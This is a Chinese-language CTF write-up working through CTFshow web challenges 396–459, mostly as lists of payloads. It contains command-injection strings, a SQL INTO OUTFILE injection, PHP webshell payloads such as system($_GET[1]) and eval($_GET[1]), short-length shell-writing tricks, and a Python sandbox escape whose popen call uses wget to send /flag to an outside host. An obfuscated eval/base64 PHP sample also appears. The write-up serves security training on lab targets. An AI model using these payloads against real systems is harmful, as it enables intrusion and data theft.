【CTFSHOW】 web入门-其他
仅作记录,从这里开始是因为这些题传get参数就行
1 |
|
web396
1 |
|
传入参数url,解析之,会将host的内容echo入path中。
payload:?url=1://ls
/var/www/html/1.txt
?url=1://cat%20fl0g.php
/var/www/html/1.txt
web397
1 |
|
同上,只是会提前规定写入文件为/tmp之下的某个文件夹,这样就算写入也不能直接访问
网上的解法是:
payload:
?url=1://cat%20fl0g.php
/../var/www/html/1.txt
或者丰号闭合
?url=1://cat%20fl0g.php
/var/www/html/1.txt;echo cat fl0g.php
>a.txt
web398
1 |
|
对host参数过滤丰号。但是不过滤path?
web399
1 |
|
多过滤了host的;和>
不影响
web400
1 |
|
过滤了http,还是不影响
web401
1 |
|
/i不区分大小写,还是没影响
web402
1 |
|
对scheme加过滤,没影响
web403
1 |
|
^
和 $
:表示字符串的开始和结束。这意味着整个字符串必须完全匹配正则表达式。
((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}
:
2[0-4]\d
:匹配200到249的数字。2
开头,接一个0到4的数字,再接一个任意数字(0-9)。
25[0-5]
:匹配250到255的数字。25
开头,接一个0到5的数字。
[01]?\d\d?
:匹配0到199的数字。[01]?
表示可选的0或1,接一个或两个数字。
\.
:匹配一个点号.
。
((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}
:重复前三组数字和点号三次。这表示IPv4地址的前三个段。
(2[0-4]\d|25[0-5]|[01]?\d\d?)
:最后一个段,匹配范围和前三个段一样。
总结,这个正则表达式匹配格式为xxx.xxx.xxx.xxx
的IPv4地址,其中每个段都是0到255之间的数字
那就把url换成ipv4
?url=http://1.1.1.1/1;echo cat fl0g.php
>a.txt
web404
不知道为啥404的容器起不来
web405
1 |
|
使用正则表达式检查URL的主机名是否是一个有效的IPv4地址。这个正则表达式匹配0-255之间的四个数字,用点分隔。使用正则表达式检查URL的路径是否是以斜杠开头,并且只包含字母和数字。使用正则表达式检查URL的方案是否包含 ~
、.
或 php
。如果前面的所有验证都通过了,则使用 shell_exec()
函数执行一个 curl
命令,构建完整的URL(方案+主机名+路径)来请求该URL。
?url=php://1.1.1.1/l1;echo%20fl0g>.php>a.txt
这个思路用不了了,因为path参数不能通过
所以把注入点放在host上。
url=php://1.1.1.1;echo%20cat%20fl0g.php
>a.txt;/1a
web404
好吧原来是彩蛋,注释提示要访问404.php
1 |
|
同405
web406
1 |
|
查询变为:select * from links where url =’http://www.baidu.com;'union/**/select/**/1,(select/**/flag/**/from/**/flag)/**/into/**/outfile/**/"/var/www/html/flag.txt"%23'
但好像不行,要这样:
其中的编码为:
1 | require 'config.php'; $sql ='select flag from flag into outfile "/var/www/html/1.txt"; $result = $conn->query($sql); var_dump($result); ?> |
1 | select * from links where url = '0://www.baidu.com;' |
web407
1 |
|
如果 $ip
是一个有效的IP地址,则使用 call_user_func
函数调用 $ip
作为函数。
定义一个名为 cafe
的类,包含一个静态方法 add
。该方法读取并输出文件 flag.php
的内容。这段代码存在一个严重的安全漏洞,源于 call_user_func
函数的使用。如果用户传递的 ip
参数被验证为一个有效的IP地址(例如 127.0.0.1
),则代码会尝试将这个IP地址作为函数名来调用。然而,由于PHP的灵活性和动态特性,这种调用方式存在被利用的风险。
ip=cafe::add
在这种情况下,call_user_func
将会调用 cafe
类的静态方法 add
,这将导致 flag.php
文件的内容被读取并输出。
web408
1 | $email=$_GET['email']; |
如果 $email
是一个有效的电子邮件地址,则使用 file_put_contents
函数进行文件操作。具体操作是将 $email
以 @
分割成两部分,并将用户名(@
前面的部分)写入以域名(@
后面的部分)命名的文件中。
filter_var() 问题在于,我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因,我们通过重叠单引号和双引号,欺骗 filter_val() 使其认为我们仍然在双引号中,这样我们就可以绕过检测。下面举个简单的例子,方便理解:
?email=”“@123.php 这个错误
email=”=system($_GET[1])?>“@1.php 这个通过 [EMAIL_FILTER](php代码审计危险函数总结 | Wh0ale’s Blog)
web409
1 | highlight_file(__FILE__); |
他把双引号前看做一个php脚本 前面的“也非法 .flag会将flag前的一个字符也一起替换为空格 ?>闭合,
问题:
?email=”flagls;?>”@12222.qq
?email=”flagsystem($_GET[1]);?>”@12222.qq&1=cat%20/flag
web410
1 | highlight_file(__FILE__); |
这段代码的目的是检查GET请求中的b
参数是否是一个非真布尔值,如果是,就输出$flag
变量的值。如果b
参数是真布尔值,脚本会输出FLAG NOT HERE
并终止执行。
if(filter_var ($b,FILTER_VALIDATE_BOOLEAN可能的返回值:
- 如果是 “1”, “true”, “on” 以及 “yes”,则返回 true。
- 如果是 “0”, “false”, “off”, “no” 以及 “”,则返回 false。
- 否则返回 NULL。
web411
1 | highlight_file(__FILE__); |
过滤了on
web412
1 | highlight_file(__FILE__); |
使用 file_put_contents
函数将 //
和 $ctfshow
的内容追加写入到 flag.php
文件中。FILE_APPEND
表示追加到文件末尾。
这题考察 file_put_contents 函数,这个中的 FILE_APPEND 防止删除原有文件内容,这里拼接进去的内容会用 // 注释掉,这里使用 %0a 绕过即可
ctfshow=%0ahighlight_file(FILE);
web413
1 |
|
闭合注释
ctfshow=*
/highlight_file(FILE);/*
web414
1 | highlight_file(__FILE__); |
将 $ctfshow
和 $flag
的平方根进行比较,并输出相应的信息。
ctfshow=-1
web415
1 | error_reporting(0); |
需要在不直接传入函数名的情况下调用。
==弱等于,不区分函数名、类名大小写,不会比较类型,只比较值。
?k=GETflag
web416
1 | class ctf{ |
::直接调用类中方法
f=ctf::flag
web417
3.php
1 | /*ctfshow*/define('aPeKTP0126',__FILE__);$cIYMfW=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$CBhSfw=$cIYMfW[3].$cIYMfW[6].$cIYMfW[33].$cIYMfW[30];$xWoIVy=$cIYMfW[33].$cIYMfW[10].$cIYMfW[24].$cIYMfW[10].$cIYMfW[24];$RkEEuV=$xWoIVy[0].$cIYMfW[18].$cIYMfW[3].$xWoIVy[0].$xWoIVy[1].$cIYMfW[24];$YFfKrW=$cIYMfW[7].$cIYMfW[13];$CBhSfw.=$cIYMfW[22].$cIYMfW[36].$cIYMfW[29].$cIYMfW[26].$cIYMfW[30].$cIYMfW[32].$cIYMfW[35].$cIYMfW[26].$cIYMfW[30];eval($CBhSfw("JGpYanRLZD0ianBRRHVrYkd3eW5abWlWek1mc0pDb0hGTnJxSUJTaGRQQXhMT0tFZ1d0dlVUZVJYYVlsY1RjUkNadW5WbWpHVUtIZUlmT2RZWHNEa1NwTVFFaXR4TnJBbHphcXdQQmJKZ0Z2V295aExOQzltb0Ryd1VWZUtvUDVoYVh4YWl1dnRGaGZtZmdRMllqQXRKVmVsZWtybWZnUTJhZ2R1eWV2M1VHRWxOV2VqblZ2aHkyOXVVaXdIWWdVa2ZpSjNSaUoyZkhKanZISjJ2WEoyZmdKaFNKZmhTSXloU0lSbVlneTVmVHdoZnVSaFNJcmhTSXdoU0lKaFNJcWhTSXVoZnVxMllnVUNZZ0xqWWdVWFlneTBZZ3kzemlKMXZISjJTaUoyelhKMmZqSjNmakozU2pKMnZUUmhmdVFoU1R5SVNqSjJSaVFjemp2U0ozVVpnR3c5WVZrSngyVW1pMWRJV2k0dXlldjNVR0VsUElVeGxIdnRlRHhLTHFCbmZJU3hsSHZ0ZUR4S0xxQm5mSUV4emp2VG9rdkpGUGY5WVZrSngyVW1pMWRJZjEwWllWa0p4MlVtaTFkQWZrMFpZVmtKeDJVbWkxZGpTazBaWVZrSngyVW1pMWRBZmswWllWa0p4MlVtaTFkalNrMDdZREVYSkRrNHZUMHV5MnRKZURoVFBJRXhsSHZ0ZUR4S0xxQm5mZ3R4bEh2dGVEeEtMcUJuZjEwWllWU3Nla3Y1eTFkbVdpNHV5MnRKZURoVFBJa3hsSHZ0ZUR4S0xxQm5mVHZ4emp2Q2VHRUJlM1E5WVZrSngyVW1pMWQzV2k0dXlldjNVR0VsUElxSVdnZHVnZVMybnU1NGxUMHV5ZXYzVUdFbFBJUWpXaTR1eWV2M1VHRWxQSWYyV2k0dXlldjNVR0VsUElRNVdpNHV5ZXYzVUdFbFBJUTJXaTR1eWV2M1VHRWxQSWZtV2k0dXlldjNVR0VsUElmaldpNHV5ZXYzVUdFbFBJZjFXaTR1eWV2M1VHRWxQSVEyV2k0dXlldjNVR0VsUElmbVdnQmh4S2tkYVh2U0ozVVpnR3dzUXVjVm5EZWd2V0VCVURzbW9QZVBSdTFIZjA1QVVxZXVTa1VkVWtjV2lxWU15SlVQdmVKbW5xWWVvMDVOUEswQWllY1F2dVV1ZmhVY3l1dG9naGVQTERZdGVXdlJVUDVQUjFVRFVxQlRvMWNzeUsxMG9WU2RKaHR0blB3MXlJa21SaFNwU0pjUG5oWVJVSng0TGtTREpLNXZma2NRZUpKQXhlZUJmZXZUZWhVaVVreG9TaHhlRnFldW51WVZQaFVzb2hmbWlLaHVmVGhzVUp2ZHhWUkFSdWhVZnVVM2d1Um1vSjhqZVRZVWUzeGJpR3M0YTBjNVNWQkpldTRqeUtkMVNxQkNKS2N0dmhZZVVleFNuMGNRUnVTZWlxeTBKS2hHbzF4V1NKaGduZXNJZ3FTaXZrVVpSR3ZQZjBoQWdQaHBMMGNRUnVTZWlxeTBKS2hHbzF4V1NKaGduZXNJZ3FTaXZrVVpSR3ZQZjBoSWl1ZXplMlNEZmV0VG9QQklpdXRYUjFlUXZUdmlvUHhwZTFMMWllU0JQVFNmdnFrSWl1ZXplMlNEZmV0VG9QQm1pMVNwU2pRY2FnZC9OVG0vTFZ0bVFWdmhVS2haVWl3R0ZQdnRvMlUzZkNxalNITGR5ZUVoaTF2UmZDcWpTSHU3WXExc0ZreGhSVDExTEtBdVVQU2JVVkpzUUhKMnZncWhTMHFoU1RRaGZ1eWhTdVJoU1RxMVlnZUNZZ0wyWWdMMGZYSjJ6Z1E0WWdZcVlnTG1ZZ0w0WWdMMVlnTEFZZ0w1WWdZRVNISjJSakozZkhKMlJISjJTWEoyU0l1aFNKeWhTVEpoU1R3aFNUZmhTSWZoU0lMaFN1eTBZZ1lYWWd5MmZJTGhTdXFIYWdkdVUyMUhna3Z1Tml2U29EdFdVSlluZjEwWllxMXNGa3hoUmhkMldpNHVnUHQ0ZTJlWFBJZklXaTR1Z1B0NGUyZVhQSWZtV2dkdUZLZXFnVmNvTml2U29EdFdVSlluZklTeGxIdlNvRHRXVUpZbmZnRXhsSHZTb0R0V1VKWW5mVHZ4bEh2U29EdFdVSlluZmdFeGxIdlNvRHRXVUpZbmZUdnh6anZkaWVjREowdTlZRGNodnFBTVBoZG1XaTR1Z1B0NGUyZVhQSXE0V2k0dWdQdDRlMmVYUElTeGxIdjZVSnZmb2hjbmZrMFpZRGNodnFBTVBoZEFXaTR1Z1B0NGUyZVhQSVEwV2dkdXZHZUF5V2VvTml2U29EdFdVSlluUzEwWllxMXNGa3hoUmhkQWYxMDdZVnhCeXVBSlVYNDlZcTFzRmt4aFJoZGpmaDBaWXExc0ZreGhSaGRJU2gwWllxMXNGa3hoUmhkanplMFpZcTFzRmt4aFJoZGpTaDBaWXExc0ZreGhSaGRJZmswWllxMXNGa3hoUmhkSWZoMFpZcTFzRmt4aFJoZElTZTBaWXExc0ZreGhSaGRqU2gwWllxMXNGa3hoUmhkSWZrMDdVV1V0blh3dVUyMUhna3Z1YVhZYXZnZTN5aHhtaVBTSmZWaHZvMFUzZWVlNG9LZVBnSzVUbzNFMlB1ZWlma2hwVWtjdWYwNXNQS0FveWVlVmVoZUhvMWNJeWVVYUZWZXB4cXZIZTFVUnlKeG1Ta3hRZXU5dW8xVXl5Z0VzZ2hTUEp1dnRlSWtsVWV4b2Vra3lnaGt1dld2Z1BURXNpaGNQZWhjSHZ1eUlKSzVYZmV2V29rdEp2R0VNUHV0c1NLU2VpR1lUbmdoa0poSjFmaFJqaWh4SG5WdFF5UDFWeDFlTW5rVUh2UHZxZUNTVlJ1MVFMcUJvbmhZUnkxVW1MZWtlTGt2dXYydnNKMUo1b2VZcG5xMXVvMXMwVXFlVmdrdkJndVNnb0lrWEplZW1lVnZEVWtTSFBrWWtQZVVvZWVVa3hxOVVmMVlZZ2dZa2ZoaGVucVlpZTN2YWVLZDVGa3hCTHFZSGVoY015VEUwaUt2SlBLdFRlSjVYeVBCaXZrY0JMa3ZTdmhVQWVXY1huZVJBZ3V2b25XcjBVcVVQSlZlUUpLMXRuZ0UzVVAxVm5lVWtndTVnZUtSMEpJU1ZlZVJtVTNoVWZLQURKUEI0Z2VZWnZoZVduV3Z6VXFlVm9WU1BKVEV0b0llMnlUa2F4VnZrSkt0UG5rWUFQaEoxSnExRHZoeFNlMGNESjFlNFIyWURTZ1NXdjBVUVBnWWRpUFlaZWdZVWV1Y3NlaHhtdmVVQlVEa2Vua2NaeVBCaW5ra1dMcWV2RmhjUmVreGtmS2twSkdrSmYwVXR5UEJWeGtTeVVWNW9lSWVTZTF0YXllVVFKR2tKbmdoMnloZWRKcTFrUHVTdWZoY2xKUGQ1b2VTRGZEeGhuSlVCZXVlemllU2VGQ1lIaVZ3bUpleDRpa2g2UlRlaWZLOGpKMjFVU2VZa3hxY2lvM3cxZTJjUHZlU3FpV3hKZjBVWGdKdG1TaHhNb2tFVGVKc0lQSzVkUjA5V1B1OVNmSllTVWVlcFNlY3B4cWNKaWtjRFBLQlZlS2VwZmVjSmYwVUNlcXRvbnExcGVXdGlvMm1BVXFVRUZlWWRuVkFIbkttalVlZWR4aFVQUksxV3ZWdmd5aHRpUGVjeVUzeFd2Z3YzSklrdWYxeUFuVjlvZXE1TUpQQUVGcTFxVWtTSGUyQW1KS0FtUmh4RGVUdlN2VkF2Z2dyNWZrU3FnVGV0aURFTmUxSjVGa2tlRnExb2VxYzJQUDFWRmt1bWl1aGdlS3ZieTJBZXgyZWR2R2V1ZlBtMWdQNVRmMWVCZmdFZXZlYzFlQ1NpaWVjcGdLOVVmUHRWZXV4U0ZxOXlpdTVTZTA1aWVna29mMUpqZ2h2aGVWdmd5aHhwU0poTXhWQXVuSlVJaTBTVGwxRWN5M2VhdjJ2MFBQQjRlZWNDVTJCaG5lVWtlcXhteUpCQ0pHU2dlR0VRZWdFcG4wY2tTV3hIZTNFWXkxUzNvMVlaZUd0VVBrVXRpMmNZTHFBQ0pHU2dlR0VRZWdFcG4wY2tTV3hIZTNFWXkxUzNvMVlaZUd0VVBrVXRncVNpdjJ2eXZLdHVlSzltZ3FTaUwxU1BMcXRlZlZCYml1SjF4MllXTHFoVEozeDNncVNpdjJ2eXZLdHVlSzltaTFTcExxOTNOZzBIYWl1N05JND0iO2V2YWwoJz8+Jy4kQ0JoU2Z3KCR4V29JVnkoJFJrRUV1VigkalhqdEtkLCRZRmZLclcqMiksJFJrRUV1VigkalhqdEtkLCRZRmZLclcsJFlGZktyVyksJFJrRUV1VigkalhqdEtkLDAsJFlGZktyVykpKSk7")); |
没做出来
web418
1 | $key= 0; |
key=0x36b&clear=;echo ls
> 1.txt&die=0
web419
1 | highlight_file(__FILE__); |
post传🐎 get传参
但是没做出来
只能code=echo tac fl*
;
web420
1 | highlight_file(__FILE__); |
code=nl ../*
web421
1 | highlight_file(__FILE__); |
code=nl f*
web422
一些原始代码
1 | from flask import Flask |
1 | highlight_file(__FILE__); |
code=nl *
419-422另解
关于419-422,可用别的方法,看这里. 可以依次执行分割后的命令 看这里
15位可控字符下的任意命令执行
如需执行 echo <?php eval($_GET[1]);?>>1
1 | echo \<?php >1 |
7位可控字符下的任意命令执行
1>a或者w>b分别可以创建a和b两个空文件夹。
ls>c会将目录下面的文件名写入到c文件中;ls -t>0会将文件名按照创建的时间倒叙写入0文件中。并且自动换行。
\作为转义符,转义之后的’'是用来换行分隔,也就是换行也是连接的。
1 | ca\ |
例如
1 |
|
假设我产要写入<?php echo phpinfo();
echo PD9waHAgcGhwaW5mbygpOw== | base64 -d >1.php
1 | w>hp |
倒叙新建文件名,然后通过ls -t>0,将刚才的顺序再倒序然后写入到0文件中,然后用sh将0当作脚本执行。
5位可控字符下的任意命令执行
ls -t>0 超过了5位
1 | >ls\\ |
这就将ls -t>0写在了a脚本中,如果要用的话直接sh a,之后写入自己的命令按照7位的逻辑写就行了。
4位可控字符下的任意命令执行
ls -th>f 超过了4位
1 | >f\> |
这就将ls -th>f写入到了脚本0当中,后面就可以直接按照7位的那样写入我们要执行的命令,最后使用sh 0执行ls -th>f,然后将命令写入了f脚本中,执行sh f即可。
注意:
`>py\这里看着是5个字符,超过了4个的限制,实际上是因为 shell环境需要输入\产生\,但是php 代码exec时,只需要输入\即可产生\,比如 *exec(“>py\”)*即可。
这上面的所以payload均在linux终端shell里面进行操作,因此需要’'的地方都进行了再加’'转义,也就变成了’\‘,如果在命令注入函数里面输入时,’'不需要用’'转义。
web423
唯一的提示
只能看wp,os.popen用以打开管道。os.popen(command[, mode[, bufsize]])
关于popen方法
1 | command -- 使用的命令。 |
示例:
1 | # !/usr/bin/python3 |
结果:
1 | open file 'mkdir nwdir', mode 'r' at 0x81614d0 |
?code=os.popen(“ls /“).read()
web424-428
?code=open(“/flag”).read()
据说,425过滤了os
426过滤了os|open
427过滤了system
但是过滤有问题
web429-431
过滤了read,但是可以在open前加空格绕过
?code=%20open(“/flag”).read()
web432-web449
开始正常过滤
1 | ?code=str(''.__class__.__bases__[0].__subclasses__()[185].__init__.__globals__['__buil''tins__']['__imp'+'ort__']('o'+'s').__dict__['pop'+'en']('wget http://mc.krkr.xyz:8888/?shell=cat /flag')) |
这段代码利用Python的动态特性来执行系统命令,最终目标是通过wget
命令从远程服务器获取某些信息。在这种情况下,它试图读取名为/flag
的文件的内容,并将其发送到指定的服务器。代码的整体构造非常复杂且难以理解,可能是为了躲避静态代码分析和安全检查。以下是对这段代码的详细分析
1 | ''.__class__.__bases__[0] #''是一个空字符串对象。.__class__获取其类,即str。.__bases__[0]获取该类的基类,即object。 |
没出来这个,curl失败。
web450
1 | highlight_file(__FILE__); |
?ctfshow=phpinfo^phpinfo^phpinfo
web451
1 | $ctfshow=$_GET['ctfshow']; |
phpanfo^phpznfo^phprnfo
^异或
p ^ p ^ p
= 112 =p
h ^ h ^ h
= 104 =h
p ^ p ^ p
= 112 =p
a ^ z ^ r
= 105 =i
n ^ n ^ n
= 110 =n
f ^ f ^ f
= 102 =f
o ^ o ^ o
= 111 =o
web452
1 | $ctfshow=$_GET['ctfshow']; |
正则表达式过滤了单引号、双引号、数字、大括号、方括号、波浪线、异或、phpinfo
和美元符号
?ctfshow=echo%20cat%20/flaag
;
web453-456
访问提示参数,查看index.php:
1 | on('start', function ($server) { echo "Swoole http server is started at http://0.0.0.0:80\n"; }); $http->on('request', function ($request, $response) { list($controller, $action) = explode('/', trim($request->server['request_uri'], '/')); $route = array('ctf'); $method = array('show','file','exec'); if(in_array($controller, $route) && in_array($action, $method)){ (new $controller)->$action($request, $response); }else{ $response->end(' |
也就是说,当我们访问/ctf/file post传入的s会写入shell.php中,然后当我们访问/ctf/exec时,就会去执行刚才的shell.php
s=
非常奇怪 curl不了,前面的题也是这样
web457
1 | include('flag.php'); |
为了绕过验证并获取 flag,需要构造特定的 GET 参数,使得 visitor
类的 check
方法返回 false
,而 admin
类的 check
方法返回 true
。visitor
类的 check
方法要求用户名和密码不能同时是 'admin'
和 'admin888'
。
进入第二个语句即可
?u=admin&p=phpinfo
web458
1 | include('flag.php'); |
- visitor 类 的
check
方法会检查用户名和密码是否不等于'admin'
和'admin888'
。 - admin 类 的
check
方法会调用密码字符串作为一个函数,并检查返回值是否等于'admin'
。
web459
1 | include('flag.php'); |
?u=php://filter/convert.base64-encode/resource=flag.php&p=1 然后访问1.php